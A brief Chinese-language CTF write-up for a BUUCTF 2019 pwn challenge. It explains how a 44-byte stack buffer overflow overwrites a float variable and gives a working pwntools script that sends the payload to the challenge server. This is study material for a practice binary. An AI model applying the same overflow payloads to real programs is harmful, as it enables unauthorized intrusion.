检测
开启了栈不可执行的检测
然后拖进IDA分析
比较赤裸
注意到,我们输入的是num1,但是比较的是num2
所以我们需要把num1溢出到num2
比较幸运的是,num1在num2的上方(空间角度)
所以我们可以把num1向下溢出到num2
char num1[44]; // [rsp+0h] [rbp-30h] BYREF
float num2; // [rsp+2Ch] [rbp-4h]
num1在rbp-0x30
num2在rbp-0x4
2者间距是44字节
我们需要覆盖num1,44字节,
然后再写入4字节 (ps:flaot是4字节,如果你要写入8字节,好像也没有影响)
点击
对应的16进制 dd 41348000h
于是我们的payload
payload = b'a' * (44) + p32(0x41348000)
from pwn import*
p=remote('node4.buuoj.cn',26598)
payload=b'A'*44+p32(0x41348000)
p.sendline(payload)
p.interactive()
标签:buuctf,num1,num2,44,rbp,2019,pwn,payload,字节
From: https://www.cnblogs.com/re4mile/p/17247005.html